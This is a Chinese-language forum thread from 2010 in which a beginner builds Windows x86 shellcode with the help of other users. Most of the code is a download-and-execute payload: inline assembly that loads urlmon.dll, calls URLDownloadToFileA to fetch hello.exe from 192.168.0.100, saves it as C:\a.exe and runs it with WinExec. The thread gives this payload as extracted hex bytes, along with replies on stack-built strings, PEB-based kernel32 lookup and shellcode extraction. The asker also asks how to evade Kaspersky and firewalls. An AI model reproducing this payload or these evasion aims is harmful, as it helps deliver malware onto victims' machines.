首页
社区
课程
招聘
[求助]shellcode 問題?
发表于: 2010-6-15 01:49 9399

[求助]shellcode 問題?

2010-6-15 01:49
9399
#undef UNICODE
#include <string.h>
#include <stdio.h>
#include <windows.h>

TCHAR g_tszAppName[]=TEXT("API TEST");

int main(void){

TCHAR tszHello[]=TEXT("HELLO WORLD!");

        __asm
    {
               
                PUSH MB_OK OR MB_ICONINFORMATION
                push offset g_tszAppName
                lea eax , tszHello

                push eax
                push 0
                call DWORD PTR [MessageBox]

        }

}

如果把這個程式提出opcode放入exploit, 是不能運行的, 因為 g_tszAppName和tszHello
是沒有存在目標程式上的,  我想問如何可以做到可以成功在目標程式上運行這個shellcode??

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 1
支持
分享
最新回复 (30)
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
2
一般是把数据放在代码后面,然后自定位根据偏移来找到数据。。。
2010-6-15 09:07
0
雪    币: 160
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
不太明白呀, 大大可否給一個source code
2010-6-15 11:44
0
雪    币: 622
活跃值: (294)
能力值: ( LV13,RANK:410 )
在线值:
发帖
回帖
粉丝
4
masm32版,不会C..

PUSH MB_OK OR MB_ICONINFORMATION
    call @f
    db 'API TEST',0
@@: call @f
    db 'HELLO WORLD!',0
@@:push 0
    call @f
    jmp @next
@@:push MessageBox
    retn
@Next: some more code
2010-6-15 12:37
0
雪    币: 75
活跃值: (698)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
5
....................................
2010-6-15 12:39
0
雪    币: 160
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
明白了用_emit
#include <windows.h>

int main(void){

        system("pause");

        __asm
    {
               
        /*        PUSH MB_OK OR MB_ICONINFORMATION

                call abc

                _emit 'H'
                _emit 'e'
                _emit 'l'
                _emit 'l'
                _emit 'o'
                _emit 0
       
abc:
                call efg

                _emit 'H'
                _emit 'e'
                _emit 'l'
                _emit 'l'
                _emit 'o'
                _emit 0
               
efg:
                       
                push 0
                call DWORD PTR [MessageBox]*/

        //LoadLibrary
call A
                _emit 'u'
                _emit 'r'
                _emit 'l'
                _emit 'm'
                _emit 'o'
                _emit 'n'
                _emit '.'
                _emit 'd'
                _emit 'l'
                _emit 'l'
                _emit 0
A:
                call DWORD PTR [LoadLibrary]

                        //GetProcAddress
call B
                _emit 'U'
                _emit 'R'
                _emit 'L'
                _emit 'D'
                _emit 'o'
                _emit 'w'
                _emit 'n'
                _emit 'l'
                _emit 'o'
                _emit 'a'
                _emit 'd'
                _emit 'T'
                _emit 'o'
                _emit 'F'
                _emit 'i'
                _emit 'l'
                _emit 'e'
                _emit 'A'
                _emit 0
B:
                push eax
                call DWORD PTR [GetProcAddress]

                //URLDownloadTofile
                push 0
                push 0
call c
                _emit 'c'
                _emit ':'
                _emit '\\'               
                _emit 'a'
                _emit '.'
                _emit 'e'
                _emit 'x'
                _emit 'e'
                _emit 0
c:
call D
                _emit 'h'
                _emit 't'
                _emit 't'
                _emit 'p'
                _emit ':'
                _emit '/'
                _emit '/'
                _emit '1'
                _emit '9'
                _emit '2'
                _emit '.'
                _emit '1'
                _emit '6'
                _emit '8'
                _emit '.'
                _emit '0'
                _emit '.'
                _emit '1'
                _emit '0'
                _emit '0'
                _emit '/'
                _emit 'h'
                _emit 'e'
                _emit 'l'
                _emit 'l'
                _emit 'o'
                _emit '.'
                _emit 'e'
                _emit 'x'
                _emit 'e'
                _emit 0

D:
                push 0
                call eax

                // WinExec
                push 0
call E
                _emit 'c'
                _emit ':'
                _emit '\\'               
                _emit 'a'
                _emit '.'
                _emit 'e'
                _emit 'x'
                _emit 'e'
                _emit 0
E:               
                call DWORD PTR [WinExec]

        }

}

但請問如何寫一個function 自動把_asm 的shellcode print成\0xeb\x10...這樣的代碼??
2010-6-15 17:56
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
7
BYTE *p=(BYTE*)shellcodefun;
for(int i=0;i<shellcodeLen;i++)
   printf("\x%02X",p[i]);
printf("\n");
2010-6-15 18:26
0
雪    币: 160
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
shellcodeLen 如何找出來的呀??

///////////////
#include <windows.h>
#include <stdio.h>

#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 \
                                   __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN

void shellcode(){
__asm
    {
PROC_BEGIN       
        /*        PUSH MB_OK OR MB_ICONINFORMATION

                call abc

                _emit 'H'
                _emit 'e'
                _emit 'l'
                _emit 'l'
                _emit 'o'
                _emit 0
       
abc:
                call efg

                _emit 'H'
                _emit 'e'
                _emit 'l'
                _emit 'l'
                _emit 'o'
                _emit 0
               
efg:
                       
                push 0
                call DWORD PTR [MessageBox]*/

        //LoadLibrary
call A
                _emit 'u'
                _emit 'r'
                _emit 'l'
                _emit 'm'
                _emit 'o'
                _emit 'n'
                _emit '.'
                _emit 'd'
                _emit 'l'
                _emit 'l'
                _emit 0
A:
                call DWORD PTR [LoadLibrary]

                        //GetProcAddress
call B
                _emit 'U'
                _emit 'R'
                _emit 'L'
                _emit 'D'
                _emit 'o'
                _emit 'w'
                _emit 'n'
                _emit 'l'
                _emit 'o'
                _emit 'a'
                _emit 'd'
                _emit 'T'
                _emit 'o'
                _emit 'F'
                _emit 'i'
                _emit 'l'
                _emit 'e'
                _emit 'A'
                _emit 0
B:
                push eax
                call DWORD PTR [GetProcAddress]

                //URLDownloadTofile
                push 0
                push 0
call c
                _emit 'c'
                _emit ':'
                _emit '\\'               
                _emit 'a'
                _emit '.'
                _emit 'e'
                _emit 'x'
                _emit 'e'
                _emit 0
c:
call D
                _emit 'h'
                _emit 't'
                _emit 't'
                _emit 'p'
                _emit ':'
                _emit '/'
                _emit '/'
                _emit '1'
                _emit '9'
                _emit '2'
                _emit '.'
                _emit '1'
                _emit '6'
                _emit '8'
                _emit '.'
                _emit '0'
                _emit '.'
                _emit '1'
                _emit '0'
                _emit '0'
                _emit '/'
                _emit 'h'
                _emit 'e'
                _emit 'l'
                _emit 'l'
                _emit 'o'
                _emit '.'
                _emit 'e'
                _emit 'x'
                _emit 'e'
                _emit 0

D:
                push 0
                call eax

                // WinExec
                push 0
call E
                _emit 'c'
                _emit ':'
                _emit '\\'               
                _emit 'a'
                _emit '.'
                _emit 'e'
                _emit 'x'
                _emit 'e'
                _emit 0
E:               
                call DWORD PTR [WinExec]

PROC_END
        }
}

int main(void){
        int i;

        BYTE *p=(BYTE*)shellcode;
        for (i=0 ; i<sizeof(p) ; i++)
                printf("\\x%02X", p[i]);
       
        printf("\n");

        system("pause");

       

}

Can't work !! how to Edit the program?
2010-6-15 20:12
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
9
用sizeof肯定是不行的,有\0就截断了。
你可以直接指定shellcodelen为一个比较大的数,比如200就OK了,很直接很好用。
或者用前后做标记的方法来计算长度,但是不一定准确,记得一定要用Release方式编译才可以。
而且,你的shellcode函数必须指定为naked函数才行,否则前后会有很多编译器添加的代码,根本不是你想要的样子。

#include <windows.h>
#include <stdio.h>

#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 \
           __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN

 __declspec( naked ) void START()
{
	 _asm nop
 }

 __declspec( naked ) void shellcode(){
__asm
    { 
PROC_BEGIN  
  /*  PUSH MB_OK OR MB_ICONINFORMATION*/

    call abc

    _emit 'H'
    _emit 'e'
    _emit 'l'
    _emit 'l'
    _emit 'o'
    _emit 0
  
abc:
    call efg

    _emit 'H'
    _emit 'e'
    _emit 'l'
    _emit 'l'
    _emit 'o'
    _emit 0
    
efg:
      
    push 0
    call DWORD PTR [MessageBox]
	/**/

        //LoadLibrary 
call A
    _emit 'u'
    _emit 'r'
    _emit 'l'
    _emit 'm'
    _emit 'o'
    _emit 'n'
    _emit '.'
    _emit 'd'
    _emit 'l'
    _emit 'l'
    _emit 0
A:
    call DWORD PTR [LoadLibrary]

      //GetProcAddress
call B
    _emit 'U'
    _emit 'R'
    _emit 'L'
    _emit 'D'
    _emit 'o'
    _emit 'w'
    _emit 'n'
    _emit 'l'
    _emit 'o'
    _emit 'a'
    _emit 'd'
    _emit 'T'
    _emit 'o'
    _emit 'F'
    _emit 'i'
    _emit 'l'
    _emit 'e'
    _emit 'A'
    _emit 0
B:
    push eax
    call DWORD PTR [GetProcAddress]

    //URLDownloadTofile
    push 0
    push 0
call c
    _emit 'c'
    _emit ':'
    _emit '\\'    
    _emit 'a'
    _emit '.'
    _emit 'e'
    _emit 'x'
    _emit 'e'
    _emit 0
c:
call D
    _emit 'h'
    _emit 't'
    _emit 't'
    _emit 'p'
    _emit ':'
    _emit '/'
    _emit '/'
    _emit '1'
    _emit '9'
    _emit '2'
    _emit '.'
    _emit '1'
    _emit '6'
    _emit '8'
    _emit '.'
    _emit '0'
    _emit '.'
    _emit '1'
    _emit '0'
    _emit '0'
    _emit '/'
    _emit 'h'
    _emit 'e'
    _emit 'l'
    _emit 'l'
    _emit 'o'
    _emit '.'
    _emit 'e'
    _emit 'x'
    _emit 'e'
    _emit 0

D:
    push 0
    call eax


    // WinExec
    push 0
call E
    _emit 'c'
    _emit ':'
    _emit '\\'    
    _emit 'a'
    _emit '.'
    _emit 'e'
    _emit 'x'
    _emit 'e'
    _emit 0
E:    
    call DWORD PTR [WinExec]
 
PROC_END
  }
}

 __declspec( naked ) void END()
{
	 _asm nop
 }

int main(void)
{
  int i;

  BYTE *p=(BYTE*)shellcode;
  int len=(BYTE*)END-(BYTE*)START;
  printf("len=%d\n",len);
  for (i=0 ; i<len ; i++)
    printf("\\x%02X", p[i]);
  
  printf("\n");


  system("pause");

  

}
2010-6-15 21:28
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
10
恩恩,不知楼主来自哪里?
2010-6-15 21:31
0
雪    币: 160
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
我的kaspersky總是說是virus, 不知道如何bypassed Firewall and Anti-virus??

ps
I am come from HK! and U?

Anyway, Thank you very much for your help!
2010-6-15 22:14
0
雪    币: 48
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
其实可以直接通过push指令来构造字符串的
2010-6-15 22:38
0
雪    币: 160
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
How? Please tell me how to push string!

//by the way

#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 \
           __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN

__declspec( naked ) void START()
{
   _asm nop
}

__declspec( naked ) void shellcode(){
__asm
    {
PROC_BEGIN  
  /*  PUSH MB_OK OR MB_ICONINFORMATION*/

/*
call abc

    _emit 'H'
    _emit 'e'
    _emit 'l'
    _emit 'l'
    _emit 'o'
    _emit 0
  
abc:
    call efg

    _emit 'H'
    _emit 'e'
    _emit 'l'
    _emit 'l'
    _emit 'o'
    _emit 0
   
efg:
      
    push 0
    call DWORD PTR [MessageBox]
*/

        //LoadLibrary
call A
    _emit 'u'
    _emit 'r'
    _emit 'l'
    _emit 'm'
    _emit 'o'
    _emit 'n'
    _emit '.'
    _emit 'd'
    _emit 'l'
    _emit 'l'
    _emit 0
A:
    call DWORD PTR [LoadLibrary]

      //GetProcAddress
call B
    _emit 'U'
    _emit 'R'
    _emit 'L'
    _emit 'D'
    _emit 'o'
    _emit 'w'
    _emit 'n'
    _emit 'l'
    _emit 'o'
    _emit 'a'
    _emit 'd'
    _emit 'T'
    _emit 'o'
    _emit 'F'
    _emit 'i'
    _emit 'l'
    _emit 'e'
    _emit 'A'
    _emit 0
B:
    push eax
    call DWORD PTR [GetProcAddress]

    //URLDownloadTofile
    push 0
    push 0
call c
    _emit 'c'
    _emit ':'
    _emit '\\'   
    _emit 'a'
    _emit '.'
    _emit 'e'
    _emit 'x'
    _emit 'e'
    _emit 0
c:
call D
    _emit 'h'
    _emit 't'
    _emit 't'
    _emit 'p'
    _emit ':'
    _emit '/'
    _emit '/'
    _emit '1'
    _emit '9'
    _emit '2'
    _emit '.'
    _emit '1'
    _emit '6'
    _emit '8'
    _emit '.'
    _emit '0'
    _emit '.'
    _emit '1'
    _emit '0'
    _emit '0'
    _emit '/'
    _emit 'h'
    _emit 'e'
    _emit 'l'
    _emit 'l'
    _emit 'o'
    _emit '.'
    _emit 'e'
    _emit 'x'
    _emit 'e'
    _emit 0

D:
    push 0
    call eax

    // WinExec
    push 0
call E
    _emit 'c'
    _emit ':'
    _emit '\\'   
    _emit 'a'
    _emit '.'
    _emit 'e'
    _emit 'x'
    _emit 'e'
    _emit 0
E:   
    call DWORD PTR [WinExec]

                push 0
                call DWORD PTR [ExitProcess]

PROC_END
  }
}

__declspec( naked ) void END()
{
   _asm nop
}

int main(void)
{
        unsigned char shellcodeFun[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\xE8\x0B\x00\x00\x00\x75\x72\x6C"
"\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\xFF\x15\x0C\x70\x40\x00\xE8\x13"
"\x00\x00\x00\x55\x52\x4C\x44\x6F\x77\x6E\x6C\x6F\x61\x64\x54\x6F"
"\x46\x69\x6C\x65\x41\x00\x50\xFF\x15\x08\x70\x40\x00\x6A\x00\x6A"
"\x00\xE8\x09\x00\x00\x00\x63\x3A\x5C\x61\x2E\x65\x78\x65\x00\xE8"
"\x1F\x00\x00\x00\x68\x74\x74\x70\x3A\x2F\x2F\x31\x39\x32\x2E\x31"
"\x36\x38\x2E\x30\x2E\x31\x30\x30\x2F\x68\x65\x6C\x6C\x6F\x2E\x65"
"\x78\x65\x00\x6A\x00\xFF\xD0\x6A\x00\xE8\x09\x00\x00\x00\x63\x3A"
"\x5C\x61\x2E\x65\x78\x65\x00\xFF\x15\x04\x70\x40\x00\x6A\x00\xFF"
"\x15\x60\x70\x40\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
;

((void (*)())shellcodeFun)(); // I can't to run the shellcode!! Why?
        //shellcode();
       
/* int i,j;

  BYTE *p=(BYTE*)shellcode;
  int len=(BYTE*)END-(BYTE*)START;
  printf("len=%d\n",len);

  printf("unsigned char shellcodeFun[]=\n");
  for (i=0 ; i<len ; ){
          printf("\"");

          for(j=i ; j<i+16 && j<len; j++)                  
                  printf("\\x%02X", p[j]);       
          
          printf("\"\n");
          i=j;       
  }
  
  printf(";");

  printf("\n");*/
  system("pause");
}
I am use the VC6.0 Release mod compile  ,  win 2000 sp0 +32bit!
2010-6-15 23:14
0
雪    币: 48
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
取自failwest的深入浅出MS06040

#include <windows.h>
#include <winbase.h>
int main()
{
HINSTANCE LibHandle;
char dllbuf[11] = "user32.dll";
LibHandle = LoadLibrary(dllbuf);
_asm{
sub sp,0x440
xor ebx,ebx
push ebx // cut string
push 0x74736577
push 0x6C696166//push failwest
mov eax,esp //load address of failwest
push ebx
push eax
push eax
push ebx
mov eax,0x77D504EA // address should be reset in different OS
call eax //call MessageboxA
push 0
mov eax,0x7C81CDDA
call eax //call exit(0)
}
}
2010-6-16 09:08
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
15
我也贴一个我以前写的:

	DWORD Kernel32Base;
	DWORD AddrLoadLibrary;
	//从PEB取Kernel32.dll基址
	_asm
	{
		mov eax,fs:[0x30]
		mov eax,[eax+0xC]
		mov eax,[eax+0x1C]
		mov eax,[eax]
		mov eax,[eax+0x08]
		mov Kernel32Base,eax
	}
	//获取用到的各个API的地址
	_asm
	{
		//以下所有用到的字符串都是在栈中直接构造,避免全局变量的出现,不需要重定位
		//0x4C6F6164 4C696272 61727941,LoadLibraryA
		//取LoadLibraryA地址
		//myGetProcAddress(Kernel32Base,"LoadLibraryA")
		push 0//作为字符串的结束标记
		push 0x41797261//"Ayra"
		push 0x7262694C//"rbiL"
		push 0x64616F4C//"daoL"
		push esp
		push Kernel32Base
		call myGetProcAddress
		mov AddrLoadLibrary,eax
		add esp,0x10//恢复堆栈
	}
2010-6-16 09:30
0
雪    币: 48
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
大概分析了一下,你用_emit 指令来构造字符串,程序运行到那里的时候无法判断到底是指令还是数据,
_emit 'c'
    _emit ':'
    _emit '\\'   
    _emit 'a'
    _emit '.'
    _emit 'e'
    _emit 'x'
    _emit 'e'
    _emit 0
这个不会作为winexec的参数传给该函数,而是当做指令来处理了
所以,还是用push直接在栈中构造字符串吧
2010-6-16 10:00
0
雪    币: 48
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
我是菜鸟,只是个人的看法,不知道对不对
2010-6-16 10:01
0
雪    币: 7651
活跃值: (523)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
18
确实不对。。。他虽然是把代码和数据混合在一起的, 但是前面代码的流程决定了那部分数据不会当成指令来执行。。。这要看他的代码怎么写~~
2010-6-16 10:07
0
雪    币: 48
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
额。。。不太明白,可以解释下么?应该还是当做指令吧,当然会不会运行是另一回事
2010-6-16 10:24
0
雪    币: 160
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
那我原本的那個是不对嗎?? 需要需要重定位?
可以compile但不能運行
2010-6-16 14:26
0
雪    币: 48
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
嗯,你用push构造字符串在传递给相应的函数吧,编译器不会检查那种错误的,问题是出现在运行期间而不是编译期间
2010-6-16 14:51
0
雪    币: 160
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
Thank you for your help!
I am a beginner !!
2010-6-16 15:01
0
雪    币: 48
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
你用OD调试一下就知道什么问题了
2010-6-16 15:02
0
雪    币: 48
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
I am a beginner too~
2010-6-16 15:03
0
雪    币: 160
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
25
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 \
           __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN

__declspec( naked ) void START()
{
   _asm nop
}

__declspec( naked ) void shellcode(){
__asm
    {
PROC_BEGIN

//  MessageBoxA(0,0x62636465,0x62636465,0);
        /*                sub esp,0x80
                        xor ebx,ebx       
                        push ebx
                     push 0x6578
                        push 0x652e612f
                        push 0x3030312e
                        push 0x302e3836
                        push 0x312e3239
                        push 0x312f2f3a
                        push 0x70747468
                        mov ecx,esp               

                        sub esp,0x30
                        xor ebx,ebx
                        push ebx
                        push 0x6578652e
                        push 0x615c3a63
                        mov ebp,esp

                        push ebx
                        push ecx
                        push ebp
                        push ebx
                       
        xor eax,eax
        mov eax,0x77e23d68
        call eax*/

        /* LoadLibraryA("urlmon.dll");
                push 0x00006c6c
                push 0x642e6e6f
                push 0x6d6c7275 */

        sub esp,0x30
        xor ebx,ebx
        push ebx

        push 0x00006c6c
        push 0x642e6e6f
        push 0x6d6c7275        
        mov eax,esp

        push eax
       
        xor eax,eax
        mov eax,0x77e78023
        call eax

                /* GetProcAddress(eax, "URLDownloadToFileA");
                           push 0x00004165
                        push 0x6c69466f
                        push 0x5464616f
                        push 0x6c6e776f
                        push 0x444c5255 */

                        sub esp,0x50
                        xor ebx,ebx
                        push ebx

                        push 0x00004165
                        push 0x6c69466f
                        push 0x5464616f
                        push 0x6c6e776f
                        push 0x444c5255
                        mov ebp,esp
                        push ebp

                        push eax

                        xor eax,eax
                        mov eax,0x77e7564b
                        call eax        // call 完這個API 它應該會返回一個valude, 如何做...??

       
                       
                       

       
                /* URLDownloadToFile(0,"http://192.168.0.100/hello.exe","C:\\a.exe",0,0);
                        push 0x00006578
                        push 0x652e612f
                        push 0x3030312e
                        push 0x302e3836
                        push 0x312e3239
                        push 0x312f2f3a
                        push 0x70747468                        
                          
                        push 0x6578652e
                        push 0x615c3a63*/       

                            sub esp,0x30
                        xor ebx,ebx
                        push ebx
                        push 0x6578652e
                        push 0x615c3a63
                        mov ebp,esp
               

                        sub esp,0x80
                        xor ebx,ebx       
                        push ebx
                     push 0x6578
                        push 0x652e612f
                        push 0x3030312e
                        push 0x302e3836
                        push 0x312e3239
                        push 0x312f2f3a
                        push 0x70747468
                        mov eax,esp               

                        push ebx
                        push ebx
                        push ebp
                        push eax
                        push ebx

                        call eax


                        // WinExec("C:\\a.exe",0);

                    push 0

                        sub esp, 0x20
                        xor ebx,ebx
                        push ebx
                       
                        push 0x6578652e
                        push 0x615c3a63
                        mov eax,esp
                        push eax

                        xor eax,eax
                        mov eax, 0x77e78601
                        call eax

                        //ExitProcess(0);
                        push 0
                        mov eax,0x77e7b0bb
                        call eax

PROC_END
  }
}

__declspec( naked ) void END()
{
   _asm nop
}

int main(void)
{       

        HINSTANCE LibHandle;
char dllbuf[11] = "user32.dll";
LibHandle = LoadLibrary(dllbuf);

shellcode();

  system("pause");
}

紅色那裡真是不太懂如何做...  我用getprocaddress取得urldownloadtofileA的address
return value 應該放在eax中,  我又push 了 url , path但為何總是無法執行這個API呢...
2010-6-16 15:42
0
游客
登录 | 注册 方可回帖
返回
//